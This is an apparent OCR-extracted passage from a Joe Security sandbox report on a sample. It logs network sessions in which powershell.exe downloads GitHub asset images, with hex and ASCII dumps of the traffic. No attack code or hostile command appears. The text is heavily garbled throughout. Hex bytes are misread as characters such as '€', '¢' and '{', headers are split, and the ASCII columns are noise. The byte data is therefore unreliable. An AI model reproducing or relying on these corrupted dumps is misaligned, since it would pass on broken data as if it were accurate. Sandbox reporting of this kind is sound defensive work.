Data Ascii: M&c?2FM6?sN'd?"F<7'?=y_sr>y'fYI"e~I8P|0=FY~_MGE.%QMa<;}d"b5XVrg>rOfF&b1N&=.LANF(M[|7%94|

Data Raw: dd 5a aa b8 39 c4 d2 4a f8 8b 25 60 32 4b 41 97 08 b1 89 57 8a 92 31 2d 7c 59 41 dO 01 fe 84 3b 1f ff ff 86 b5
4 28 af 36 c9 b4 36 df fa 3b c1 9f c5 ac 69 fc d7 bd 33 f9 40 39 7f 45 9b cb 7a 42 11 3b 02 7f 37 88 3f 6¢c c3 3 f1 €7 2b €8
9e 56 02 7f 56 dd 82 5b cb 23 4b 1a 99 84 fe 1a 2a 60 3c 69 16 60 2c 28 b4 3f 7f 9c 74 82 d2 8d 41 b0 0f de 23 ec f0 43
69 7c 61 1d 12 9b f1 37 9b 41 fc e7 a8 c1 c3 84 28 56 7a 2c e5 €0 cf c6 3f 42 ff cf 6e 69 47 2a bc c4 e2 cf ff c7 bf ba 62 fc
e7 ad Ob b6 33 45 b9 56 cc ba fd f2 87 0b 9f 98 87 40 30 f9 ee 31 c1 02 ff 39 Oe 4c e3 8f 7e 94 6d 3f 24 fe 6¢ 1b fe 22 fO
97 dd e7 e3 1c d1 df 6¢ 8c 27 2f f1 17 92 36 4b b9 04 40 7c 40 08 Of 16 ff c8 2d 62 42 ea 76 ab a7 6¢ d9 d6 c3 bb 25 fb 70
14 e7 ae 8a d8 ea 8c bc f0 17 c7 bb

Data Ascii: Z9J% 2KAW1-|YA;(66;i3@9EzB; 721+ VV[#K*'<i",(?tA#Cila7A(Vz,?BniG*h3EV@019L~m?$I"/6K@|@-bBvI%p

Data Raw: f8 6b 34 8a bf 46 a3 f8 6b 34 8a bf 46 a3 f8 6b 34 8a bf 46 a3 f8 6b 34 8a bf 46 a3 f8 6b 34 8a bf 46 a3 f8 6b 34
8a ff c4 6e cd 45 52 da 1d fe 33 68 dd 2d cd 4b c8 f9 66 62 17 82 3b d3 c4 bb 0a bb af 39 05 e9 d4 b9 cd 4e 0d a2 b6 36
7b b9 8 3f ab d3 cc 53 83 ff Oc 64 42 de bc 84 9c 6f 26 Oe 74 9e 78 6d 41 84 23 2e ae 78 bb 27 da 26 06 81 c7 3a cc 15 ff
ab c6 7f d2 7c 8d 8a 11 96 e0 33 73 68 36 8c ff 79 ¢5 f1 ec 87 91 59 7a 2 37 95 8b 8f 5f cc 2e 8c ff be ff Oc af aa d9 7e 67
8 2b fe 81 ec 9f 7b 05 ¢7 2c el d8 73 8b 1f 2a 73 46 58 9d 50 11 cd 2f 8b 3f fa 82 3e 36 e4 2f 8e bf e2 af f8 5f a0 73 97 c7
1f 51 fc 15 7f c5 ff 05 e0 5f 86 49 54 e3 b2 3a 21 bb 85 f7 b6 f3 fO 1e dd ad 74 54 ¢3 42 15 3b 67 el 2d 4e ec a0 51 f6 43
28 78 3a b9 f4 6a 32 68 fe 15 8

Data Ascii: k4Fk4Fk4Fk4Fk4Fk4nER3h-Kfb;9NG{?SdBo&txmA#.X'&:[3sh6yYz7_.~g+{,s*sFXP/?>6/_sQ_IT:!tTB;g-
NQC(x:j2h

Data Raw: f1 7f 07 70 80 7f ef 23 c4 27 f0O 7f 23 f6 €0 {7 ef 9e f1 97 fO de d3 f4 04 fe 61 84 25 18 2b 25 67 €3 cf c5 47 el 8f
15 1e 44 fa 84 25 fe f8 66 3f 12 7f ¢6 01 5f €5 4b bc 1e 89 3f 3a f7 d9 d3 3f bb 4d bf e3 de e7 0a f1 a7 12 5e 64 cf 86 53
5e a0 e3 85 5 Of ed 06 a6 d8 11 e3 9f 34 ca 22 28 0d 42 2b 23 cd bf 12 7f df 91 e5 bc c0 1f 4e c4 41 fc c5 1e a2 bf ed 08
d9 15 1c c8 67 3c d6 34 fe 96 f2 84 25 78 86 €6 5d 64 ef 14 fe 39 e3 3f aa b8 80 75 19 c2 04 b7 25 5b ¢3 f1 38 fe 15 c9 b7
4f 8d de 55 84 45 a3 1f ee ec 69 fc 25 Oe d2 ab 2c f1 5f 4b fc €9 77 d7 19 ed 7e db 40 ef f2 8b ff d5 5d 29 fe 05 dd ba 68 8
6 dd 74 53 e6 ab 56 35 4b be 83 a6 f0 93 68 80 5 ae a3 f8 78 1e 3e 8 82 f1 3f 61 94 e5 b8 82 fc ae ab d4 b2 23 cc bf 8¢
3f f4 b0 5d 33 c4 8 2f 09 f6 dc

Data Ascii: p##a%+%gGD%f?_K?:?MAdS 4" (B+#NAg<4%x]d9?u%[8OUEi%, Kw~@])htSV5Khx>?a#?]3/

Data Raw: 85 cf 53 96 €0 22 8a 87 4d 02 7f e4 f0 23 3 3f b6 38 97 4a Ob 89 85 a1 97 1b c0 11 ef 5a 4e 67 9e 8f 3d 89 bf
99 79 c6 81 7b e7 06 f1 37 5 8f 24 f1 37 3f b7 93 fa 37 c7 6e 47 fa d5 5d 2d fe 50 c1 16 55 b9 26 a6 c5 bf dd 92 25 5c ba
€3 8d b2 28 3d da fc eb d0 6a 3f 75 bf c4 88 3d dO 5f €9 22 1e ef 98 4d 5b 82 65 75 19 d9 €8 99 ¢5 91 74 53 a7 07 31 9f

9f d7 4d 9c c7 11 ¢5 d3 7d cd d0 14 fO ff 5f 73 cd 8 27 03 fc 35 9a 27 7 67 dc fb 28 fe 9a bf 5¢ 3e ef f1 25 58 f1 d7 fc ¢5
3209 05 2e fe 57 88 bf 7d 5b fe 01 fe 6f df 2a fe 9a 27 a7 21 2a 16 fa 90 43 cd 5f 33 ee 46 aa 8a 15 7f 8d 46 {1 d7 68 14
7f 80 46 f1 d7 68 14 7f 8d 46 f1 d7 68 14 7f 8d 46 f1 d7 68 14 7f 8d 46 f1 d7 68 14 7f 8d 46 f1 d7 68 14 7f 8d e2 ff 27 48 79
df df 95 66 4c 6¢ be bb b8 11 37 84

Data Ascii: S"M#28JZNg=y{7$7?7nG]-PU&%\(=j2u=_"M[eutS1M}_s'5'g(\>%X2.W}o*1*C_3FFhFhFhFhFhFh'HyfLI7

Data Raw: dd 9a 3d e9 ef fd e0 cd 0f fa 3c af da b3 1d 68 fe 06 Ob 30 de 89 7b 7f 21 ad 95 c1 ba 26 7a 87 db 2d 04 5f b2
Ob aa 01 b7 bc 81 1c b4 04 0b 23 b2 2c cb 73 2d 07 8f 78 ac 59 01 ff c1 bd ee el a7 54 fc cf Ob d6 21 71 ea 37 58 7f 44
€017 6d e3 2f 81 ff b2 cO ¢9 71 c5 10 fe b8 65 6e 81 01 24 9b 24 fe 96 b6 b6 85 6¢ 46 db 07 da f6 be 35 bc 91 8 3 6e 2b
13 88 f7 a0 Oa 4b a6 fd 14 54 el 9b b5 a4 96 57 7e b6 fc 39 0a 43 23 1b 91 65 59 59 08 7d ae 07 be 94 58 f2 €3 f7 52 fc
cf c2 3f 18 5e e7 6f 19 €9 24 e3 f9 dd ae 33 5b 62 cf Ob e0 6f 66 dd bf 95 66 fb 58 0f d9 85 90 31 fe 90 fe 62 85 55 e2 cf 5f
9f ed 7d fb a2 a2 70 4f b5 30 d1 Oa fc a5 dd 16 d9 60 bb 3 44 55 e4 b2 c4 8e 01 6b 37 a5 e5 95 5d fc 43 c2 dd 1d 6e 7e
86 2d c1 54 03 d7 4d af ec ab bb 00 fc c5 e0

Data Ascii: =<h0{!&z-_#,s-xYT!q7XDm/qen$$IF5n+KTW~9C#eYY}XR?"0$3[boffX1bU_}pO0'DUK7]Cn~-TM

Data Raw: 85 7f b8 94 33 26 e8 9f 1e 8e e5 30 b8 7d 34 2b bf 24 fc a5 a3 f6 ed 5b a8 6f 69 8e 2f fb b8 23 85 f8 10 13 9b
b8 85 9e 10 2d 50 a3 49 e3 4f 2d 16 33 €8 80 3b 09 6d 43 b1 43 f0 f9 02 7f 14 c5 7e 13 22 Ob 3d ea a2 af 13 de e3 1f 18
9a b8 99 5¢ b7 63 €0 Oe 70 64 93 12 7f 79 3f 2e 0 f7 28 be ea df fb 5b d6 25 87 58 09 bf 91 e2 64 78 25 67 ed c0 b8 2d
c6 9f ea 51 62 64 8b a9 c4 83 fe el 1b e6 el c9 02 94 c9 19 e3 38 8a db 31 84 97 78 ef 2f 1¢c b5 08 1c 87 e2 39 9¢ 10 7c
1a 4f 9b 34 fe f7 34 65 6d 4a 1a ff 15 26 79 db 77 b1 10 77 68 Ob fc 21 f8 8a a4 35 8f 1d b9 96 9b b5 c7 32 c2 e2 eb 84 57
78 08 7f d9 e4 19 f8 73 71 df c3 df 11 6a 2e c0 18 d7 94 e2 64 86 6e 18 7f be ab 63 69 70 fc 89 d2 8a 66 1e 47 41 3c bc
ba 67 56 9e 4e Of 72 ¢6 10 cc 30 ca bd 4c fc a5 a3

Data Ascii: 3&0}4+$[0i/#-PI0-3;mCC~"=\cpdy?.([%Xdx%g-Qbd81x/9]|044emI&ywwh!52Wxsqj.dncipfGA<gVNroL

Data Raw: 6f 86 bf 46 88 96 b3 3f 13 7f c5 df d3 33 d3 6f 16 6f 57 46 33 4a 8c 2c 45 cb e5 db 52 f1 7f d6 54 37 b5 d1 7c
eb a8 18 59 9f f1 a9 d1 28 fe 1a 8d c4 5f a3 51 fc 35 1a c5 5f a3 51 fc 35 1a c5 5f a3 51 fc 35 1a ¢5 5f a3 51 fc 35 1a c5 5f
a3 51 fc 35 1a c5 5f a3 51 fc 3f d8 10 9c d1 68 fe 8a f8 c3 e5 aa d1 fc f5 fO af 88 a6 87 2a 83 b7 57 a3 f9 2b el df d0 3a 21
40 d4 68 5e 3c fe 96 a6 8a bf 06 51 fc 35 9a 97 82 bf 70 f0 c2 €3 Ob 07 2¢ bb 5c d9 db bb 83 14 d7 76 8f bf 75 d1 f5 9a 6d
51 08 7e de 49 20 9a b7 35 57 f8 8d 46 73 4d f8 67 39 1c af ec 72 65 cd 2f bb 5¢ d9 db Ob 7d 85 23 f2 8f 1e 7c e5 b0 47
9e 75 0f 2¢ 69 4b cd b1 78 84 df 68 34 d7 24 36 2d 66 99 71 33 a2 a6 7b la 6a ce 2e 57 03 97 6b cf db 5b d0 bb 48 7d f7
3e d8 93 35 b0 d5 d6 50 84 35 e4 c9 2f

Data Ascii: 0F?300WF3J,ERT7|Y(_Q5_Q5_Q5_Q5_Q5_Q?h*W+:1@h”<Q5p,\vumQ~I 5WFsMg9re/\}#|Gu,iKxh4$6-fq3(j
\WK[H}>5P5/
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kBytes

Timestam
P transferred

2022-04-20 13:07:42 UTC 3492

2022-04-20 13:07:42 UTC 3493

2022-04-20 13:07:42 UTC 3494

2022-04-20 13:07:42 UTC 3496

Session ID Source IP
103 192.168.2.4
. kBytes
Timestam|
P transferred

2022-04-20 13:07:42 UTC 3468

2022-04-20 13:07:42 UTC 3489

2022-04-20 13:07:42 UTC 3490

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49862

Direction

ouT

Data

Data Raw: 29 20 d9 57 9f f3 40 73 3f cd 73 Oc ea a4 6a 69 40 d1 el 07 de 8b 48 ae ee 79 d8 d3 f5 45 1d 9c 04 28 1f 18 68
88 84 d4 cd 2 fO bf 87 3a 9b b7 73 01 bc de 22 8a ac 68 55 18 9b cb d2 Oe 96 76 53 82 f6 18 32 55 a7 41 36 79 21 e5 27
c2 bf 4f 46 9f 4b 6b 90 a4 6d 2b aa 07 82 4c 11 44 c0 c5 41 a8 8a 3e b1 95 60 a3 fd 2a 98 3c 9e 0f 48 78 44 b9 9b c5 9f
8e 07 b2 Ob e3 fd 4a 5d d8 5e 30 e9 78 99 3e 60 9d 34 2e e3 3f ea 97 45 ad 71 60 95 Oe 4d ec 31 el df 6b d2 7c 0d 1e

0b 12 bc 2c bl 8e 83 1f 7e 23 a5 el 7 15 4d ee 91 3e 26 c9 fd ac 85 90 d8 91 a3 69 20 f7 el a7 51 af 9b 91 ab 5f 87 9d
ce 92 3aal 4187 17 eb a6 5a 18 fe 63 a9 c8 37 16 7a d3 b7 4e 02 92 fc 78 b4 5d 2c 8e 5d d8 ab db 48 3d 2c b9 65 1f 72
16 bb 6a 5b 77 Oc 36 79 5f 93 d1 a8 f9 bd 8f a6 d6 55 a2

Data Ascii: ) W@s?sji@HyE(h:s"hUvS2UABy!'OFKkm+LDA>*<HxDJ]"0x>"4.?Eq M1k|,~#M>&i Q_:AZc7zNx],|H=,er
jiwéy_U

Data Raw: aa db f9 8a bc Oa ff 7c 9a dd 2e Of 7f el 3 37 b0 3d c8 d9 09 c6 1a d8 17 f1 97 18 e2 9c 37 20 95 49 6b c6 20
b9 72 03 c9 73 1f fa f2 9f 6f a0 89 08 79 b6 06 f7 c4 18 fd 3e 8f 3f 5d ff 47 43 b3 dd 12 56 79 15 51 07 ee 2a fc 47 9d 02
db 6d b7 15 83 2c df 54 99 ef e2 ef 30 c5 44 9b 33 4a f0 1e 69 da 3e 99 3c 6¢ b7 ed 5b O df bc be 40 6d 6f c2 5f 29 b8 e2
d7 cb 16 4d 7e 3c a0 al 7a 04 bb 74 9d 6b 52 af f2 87 f0 3f 70 fc 7d 7a c5 1f 8b c3 df 58 ba 8c ac 6e 34 b4 21 c0 ec 37 21
aa 4e c3 8a 22 fe 1d 80 3d 7d 44 9e bb 8f 47 e0 83 7d c1 7fc4 64 d1 f3 c2 17 b8 al f6 1d 4f 08 00 eb 02 00 1e 38 52 cf
3b 13 0a e0 Ob f8 3b 40 d1 9b d9 89 f2 04 78 ea 40 8a 39 fc a5 4b c2 f1 27 ea a3 6b aa Oe 68 f8 34 20 a9 eb 41 cc e3 4f
e7 5af0 54 al b9 39 c2 42 a6 b9 d2 14 fe {3

Data Ascii: |.7=7 Ik rsoy>?]GCVyQ*Gm,TOD3Ji><l[[@mo_)M~<ztkR?p}zXn4!7!N"=}DG}dO8R;; @x@9K'kh4 AOZT9B

Data Raw: b8 c0 a9 91 91 b1 92 fb f1 11 fe 14 ec 9d c2 ff 42 47 43 e0 d1 37 04 66 58 Oa 4a cf ch 36 f8 7f 86 94 39 4b 8b
ec f7 fd 7d 11 d1 d1 5f 58 b4 6d 17 81 94 b6 3e 9a d1 2c d7 60 55 f8 54 39 d3 20 fO 8b d4 82 97 45 ac Of 76 f4 dd 89 28
00 8c 75 51 da 2b bc ce 8d ae 9c 5e 90 5d 20 a2 e5 20 fc e7 8f 2¢ bf a5 f3 d8 2b 2d d5 2f 72 b5 76 3b 3f eb 9d 63 29 a5
39 dc 9391 11 5a f5 7a ae 80 a2 e5 Ob bc 44 e7 06 12 d1 71 5e fc bd fa 8b 25 ¢3 41 bd 8c 34 79 10 b9 50 ef db 58 aa bd
d5 6¢ b2 95 1a 9e 24 79 14 3f 49 12 95 be 1e ec 7b 2a 91 25 d6 7c c8 60 5b 9a cc 44 86 b5 fb 6b 3f 96 72 90 d6 99 32 40
€897 d1 7e 16 fe e6 db 6d b2 Of 59 69 48 11 48 b5 {7 08 9e 56 b0 b4 26 fc 49 b2 13 ff cc 8c 4e a7 10 c8 f8 bb Oc 7e 79 d9
7e 39 48 6a b5 1e 0a 24 50 1f 01 49 a9 06 b3 59 58

Data Ascii: BGC7fXJ69K} Xm>,"UT9 Ev(uQ+"] ,+-/rv;?c)9ZzDq %A4yPXI$y?I{*%| [Dk?r2@~mYiHHV&IN~y~9Hj$PIYX

Data Raw: bd b1 66 b9 12 6e fc 74 09 7f 48 c6 84 29 b3 64 f1 8f 72 54 3b d6 61 f7 f5 80 3c e3 fb 31 c6 3f 75 e3 df 48 cb {7
Oe ba 84 7f d2 dc 7c 7d be bd a3 75 4f b0 16 c2 9f 2a el df fe 3f 37 3f 63 3b {7 4e 18 f 86 70 c2 9f 66 d1 el ff 56 17 el 5c
65 2a e6 c0 7f da d4 3c 96 bf 58 27 fd 22 ce 86 e2 41 c4 4f 32 5a 66 fc 4f 06 10 fe dO fd 90 6d 7b 36 a7 be 63 Oe cf 80 3f
4e 23 8a 3c cf 9f 62 f1 ad c1 f1 dc 54 eb 59 ee 17 f5 eb 2b 11 54 55 76 7a b2 b6 92 18 43 2a dd 6d 7c 3 b4 30 4f 5d f8 87
81 c4 cb 7d c0 38 90 2a 74 e3 7f 53 d9 d9 34 a4 51 85 5d 8f f0 bf 11 f1 ed fc f8 4b 9e af 8¢ 7f 2¢c de 3e e0 7b 86 8f 0f 66 9
aad 78 5¢c 1f ee c7 a2 79 ce 62 cd 10 07 fe 46 5a bc c8 eb 6¢ ab 90 5d 1f 5f 44 2e 7 3d f3 cf 98 07 2d d6 f2 8c 83 e0 18 ff
70 ad 95 c0 32 3b f1 bf 09 ea

Data Ascii: fntH)drT;a<1?uH[}u0*?7?¢c;NpfV\e*<X"A02ZfOm{6¢c?N#<bTY+TUvzC*m|00]}8*tS4Q]K,>{fx\ybFZI]_D.=-p2;

Destination
Destination IP Process
Port

185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/home/icons/heart.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 826

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "7afc68471ce9003al7ee62de0d639c9c”

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 2601

X-Served-By: cache-iad-kcgs7200087-IAD, cache-mxp6952-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 65f66f497d2143cce94e9c4ded8a3d3954bf2313

Data Raw: 3c 73 76 67 20 66 69 6¢ 6¢ 3d 22 6e 6f 6e 65 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 76 69 65 77 42 6f 78
3d 22 30 20 30 20 32 34 20 32 3222 20 77 69 64 74 68 3d 22 32 34 22 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77
7777 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 63 6¢ 69 70 2d 72 75 6¢ 65 3d 22 65 76 65
6e 6f 64 64 22 20 64 3d 22 6d 31 31 2e 36 35 35 20 31 37 2e 39 31 35 39 63 2e 30 30 30 32 2e 30 30 30 32 2e 30 30 30
34 2e 30 30 30 33 2e 33 34 35 2d 2e 36 36 35 39 2e 33 34 34 36 2e 36 36 36 32 2e 33 34 34 38 2e 36 36 36 31 2e 33 34
35 2e 36 36 35 39 2d 2e 32 31 36 31 2e 31 31 31 38 2d 2e 34 37 33 39 2e 31 31 31 38 2d 2e 36 39 20 30 7a 6d 30 20 30
20 2e 33 34 35 2d 2e 36 36 35 39 2e 33 34 35 2e 36 36 35 39 2e 30 30

Data Ascii: <svg fill="none" height="22" viewBox="0 0 24 22" width="24" xmIns="http://www.w3.0rg/2000/svg"><path clip-
rule="evenodd" d="m11.655 17.9159¢.0002.0002.0004.0003.345-.6659.3446.6662.3448.6661.345.6659-.2161.1118-
.4739.1118-.69 0zm0 0 .345-.6659.345.6659.00
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Session ID Source IP
104 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:42 UTC 3497

2022-04-20 13:07:42 UTC 3497

2022-04-20 13:07:42 UTC 3498

2022-04-20 13:07:42 UTC 3499

2022-04-20 13:07:42 UTC 3501

2022-04-20 13:07:42 UTC 3502

2022-04-20 13:07:42 UTC 3503

Copyright Joe Security LLC 2022

Source Port

49863

Direction

ouT

Destination

Destination IP Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/home/community-sponsor-1.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 13784

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 08 Dec 2020 22:46:32 GMT

ETag: "d9e05d4cfd5900226bb262d6d9abde03"

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 521

X-Served-By: cache-iad-kjyo7100167-1AD, cache-mxp6953-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-1D: b58663f2fce8825cfed8b9518b2ale09bb8c5791

Data Raw: 89 50 4e 47 0d Oa 1a Oa 00 00 00 Od 49 48 44 52 00 00 03 00 00 00 01 e4 08 03 00 00 00 be 15 b8 01 00 00
01 d1 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f ff ff ff ff f ff ff ff ff f ff ff ff €O €1 €3 20 a0 a0 €8 €8 €9 fb
fb fb 60 60 60 07 07 07 26 26 26 76 76 76 d2 d4 d6 fO f1 f1 30 30 30 00 00 00 2c 2c 2c 80 80 80 ef ef ef fd fd fd 1a 1a 1la
3a 3a3a0c0c0b515151cfcfcfe3e5e5101010c0c3c7cachcb8b8c8cildldlda3a4ad 1617 17 20 20 20 cO
clcl dld3d4 5656567070 70 f9 f9 f9 ec ed ee b4 b5 b5 cc ce dO 7c 7c 7c bf bf bf f4 f5 f5 f6 f6 7 4f 50 50 94 94 94 83
8383 c5c7c7 313131989899 b8 b9 ba a7 a7 a7 48 48 48 75 78 7b 5f 5f 5f 34 34 34 64 64 64 bb bc be 9f 9f 9f 40 40
4090 90 90 dc

Data Ascii: PNGIHDRPLTE " &&&wwv000,,,::QQQ VVVppp||[OPP111HHHux{ _ 444ddd@@@

Data Raw: 00 85 21 01 74 00 b7 63 7d 33 75 f5 09 fb cd f1 ed 6c e7 35 f2 98 13 b4 9a 1b 5f b5 62 €0 d1 cb 46 da d9 9f 1f
40 2d 9d fe 9f 7d 33 6a 4e db 08 e2 f8 d3 be 05 10 66 dO 3f 3a 20 56 6f 88 93 6b 10 c3 54 b1 48 8a 93 da 8e a4 64 ec 69
27 53 26 be d4 6d d3 ef ff 2d 1a 6e 67 c5 d5 c6 25 65 d4 27 e9 f7 a2 e5 6e 7 2e Of fb 9b 70 87 95 af 63 12 94 b5 96 88 6¢
9e a7 44 c4 d1 da 72 28 03 32 e7 Ob 10 57 8b fO 1a 8a 48 ad ab 3c bb fe 5a a3 e4 ¢3 57 76 46 8d a2 15 60 78 0d f8 a7 da
el 0cch 7c d2 c7 06 f3 el fb f8 39 3e 57 76 8c a6 38 b9 f9 45 63 92 4c 7b b5 0a 60 13 cd 1b 76 bc 86 4e 6d 21 63 1c 21
50 52 9c 87 d8 a0 03 eb 0b 50 6a 29 90 0d 22 95 00 30 fc b9 80 83 6b 48 03 9a 24 02 af 1c 4a d4 d2 14 01 e2 2b 0d ac
46 de c8 0a 47 1a 3a e9 bc 29 2f 80 c9 12 85 ff 85 e7

Data Ascii: !tc}3ul5_bF@-}3jNf?: VokTHdi'S&m-ng%e'n.pclDr(2WH<ZWVF x|9>WVBEcL{ VNm!Cc!PRP))"0kH$J+FG:)/

Data Raw: a3 8b 00 82 29 7f 5f ¢5 00 73 78 3a 48 00 0d 11 cO dd ¢3 c3 ¢3 bd fe 91 51 e2 6¢ 86 2c 61 3e 13 01 98 82 1d
6342 62 38 ff 07 47 33 04 20 71 00 7b af 01 3c 9a 01 3c dd 7e 2e e0 92 07 14 32 05 fa 4a 65 11 c0 07 63 39 37 0a 00 d9
03 f0 fd 12 80 6e 14 79 8a 4c ed al 6f 02 a0 8e 29 5e 4f 50 c3 02 04 a0 9f f1 08 99 ba be 0d 80 ba a2 d1 1e 6a 5c 80 00
2e 38 db 61 9d 9f 2c 1295 00 7c 13 f9 82 a9 77 79 9c 4c 23 5¢ 20 00 69 03 d8 b1 Ob cO 28 b2 77 25 al cc f2 a5 6e 05 90
18 el 67 aa 46 44 39 76 11 34 2e 04 a0 97 4b 2c 14 cb 95 00 8e d8 33 77 2c cc f2 68 90 68 86 93 04 0d Oc 01 e8 e5 62
a9 54 3a 37 f4 4a 00 bd 2f 47 01 34 9e f5 89 00 d6 49 5e 80 00 76 6d 02 10 Oc c3 d0 05 11 cO eb 5e a0 3d 9e 0d c8 1f 00
20 8080 5d 00 82 4d 00 00 08 40 3a 80 00 ¢6 9b 37 00 40 00

Data Ascii: )_sx:HQIl,a>cBb8G3 g{<<~.2Jec97nyLo)"OPj\.8a,|wyL# i(w%ngFD9v4.K,3w,hhbT:7J/G4I"'vm"= IM@:7@

Data Raw: 67 8f 7f 5b 21 8f 9e 8b 37 01 20 17 44 6¢ 52 83 b9 a8 84 87 29 52 2b ca 50 8b Oe 3 43 3f 59 d4 40 8¢ 03 7a
42 48 ea bl 64 dd 06 cb a7 54 14 e1 b2 81 62 06 80 24 be f4 10 bc 19 87 38 b5 2c aa 37 2d 12 fc 00 b9 61 63 f2 d8 01 db
4d cd 97 £3 dd 00 6e 1e 40 8a 35 07 00 1d 14 29 97 99 a5 €0 45 9d 76 33 d6 7a 00 80 fe 9f 8a a5 22 3a 9a 8a 11 06 ea 30
00 5¢ a7 31 Oe d3 08 ad 1f 1d c9 Oc 6a da 64 39 b3 64 67 87 f1 3a 8b cb c6 9d ee a5 81 48 4c 17 86 f7 02 cO 9 8b 27 b8
fb ef 96 c7 4f 9f 8b 2b 06 a0 21 8d 59 34 ba c4 00 7a 01 c5 09 6d 5f 45 09 fd 86 1a a0 5a 21 9b 9c fe 36 Of d7 41 74 18 73
64 83 85 be a3 26 18 dc 5¢ 04 a0 27 92 fe 12 00 d4 18 07 c7 da 43 45 e5 3d cd e4 f2 03 a7 c9 00 28 89 4d 55 09 88 23
92 b8 ca 00 68 93 69 83 Be c8 88 80 €0 b6 b0 d0 62 b0 e4

Data Ascii: g[!7 DIR)R+PC?Y@zJHdTh$8,7-acMn@5)Ev3z":0\1jd9dg:HL'O+!Y4zm_EZI6Atsd&\'CE=(MU#hinb

Data Raw: 00 a0 8a bl cb 3a 00 d0 53 54 da 12 ef 62 7c d8 b6 d4 08 62 09 00 dc a3 82 34 7e Oe 00 bb 21 54 9c dd 61 bd
d4 74 2c 53 3e 31 7f ac 92 4f 61 5b de 42 9b 35 15 05 36 ec 34 51 b0 65 31 80 18 b1 fc d2 43 70 11 Oc 12 c9 85 43 30 92
ac 2d 13 f5 63 5¢ ¢5 34 2e e4 43 33 a3 a8 fb 00 00 08 9¢ 9c 1e da 1b 43 f4 fa a3 1b 3f 7c f8 dd a7 3f de 3f 3c fc fe 8b ef Of
1f fc f4 cf 9f ed Of 37 3e b8 49 74 f0 c1 87 3f 7e 7c 52 09 71 b5 00 88 8e 69 d8 d7 89 1c 80 33 4a 00 9c 4d 15 8f 37 a9 06
31 7d d6 88 39 00 f8 d1 95 6e 52 67 ea 64 0d f6 73 00 42 8f 45 f3 6e 36 dd 1f ef 02 40 74 c7 61 17 a9 fe d0 21 d8 44 df 8e
70 1c 2c 74 08 a2 9f 04 8d 90 11 25 f2 55 58 7b 66 c4 45 00 62 5a f4 99 c2 08 47 97 00 40 e6 64 ee 93 15 49 5b 9c 8d 1b
7a 67 ed 91 53 40 10 1a 41 45 ac 01 40 48 8e

Data Ascii: :STb|b4~!Tat,S>10a[B564QelCpC0-c\4.C3C?|??<7>It?~|Rqi3IM71}9nRgdsBEn6@ta!Dp,t%UX{fEbZG@d
I[zgS@AE@H
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kBytes

Timestamp transferred Direction
2022-04-20 13:07:42 UTC 3505 IN
2022-04-20 13:07:42 UTC 3506 IN
2022-04-20 13:07:42 UTC 3507 IN
2022-04-20 13:07:42 UTC 3509 IN
2022-04-20 13:07:42 UTC 3511 IN
2022-04-20 13:07:42 UTC 3512 IN
Session ID Source IP Source Port
105 192.168.2.4 49864

. kBytes . .
Ti Di

imestamp transferred irection
2022-04-20 13:07:42 UTC 3497 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 2e 8c b9 fa 91 ce a5 53 01 10 32 d7 2e 27 75 9b ba c0 Ob 34 72 59 b6 b3 e8 83 6f c8 42 03 9d ee 48 eb b4 d7
10 88 6b 4f 1e 94 7f 94 eb f3 c2 Oc ee 03 c0 5 3¢ 62 bc 05 80 89 c0 fb a5 77 70 b5 56 92 31 51 63 30 ¢3 53 37 ad 7e c2
1d 58 2f 9 29 66 02 75 e3 93 7a 52 51 fc 0f db 93 5¢ b9 57 f1 fb aa 88 e0 15 7c 56 ba 5f ad 75 96 87 60 02 70 e7 21 b8
03¢0 79 ce 5¢c 52 c8 6a fe 2a c5 88 28 64 b4 ae c7 51 2c cb 55 b5 a6 59 ba 09 00 fe bf 4a fe 30 44 85 00 fd 73 34 ea 8a
6046 14 b5 77 01 e0 82 5f 01 a3 01 60 ee ee c4 86 €8 41 75 88 51 18 99 27 b9 d2 2c c4 Oc 78 7e 6d 95 90 d4 93 7 9a
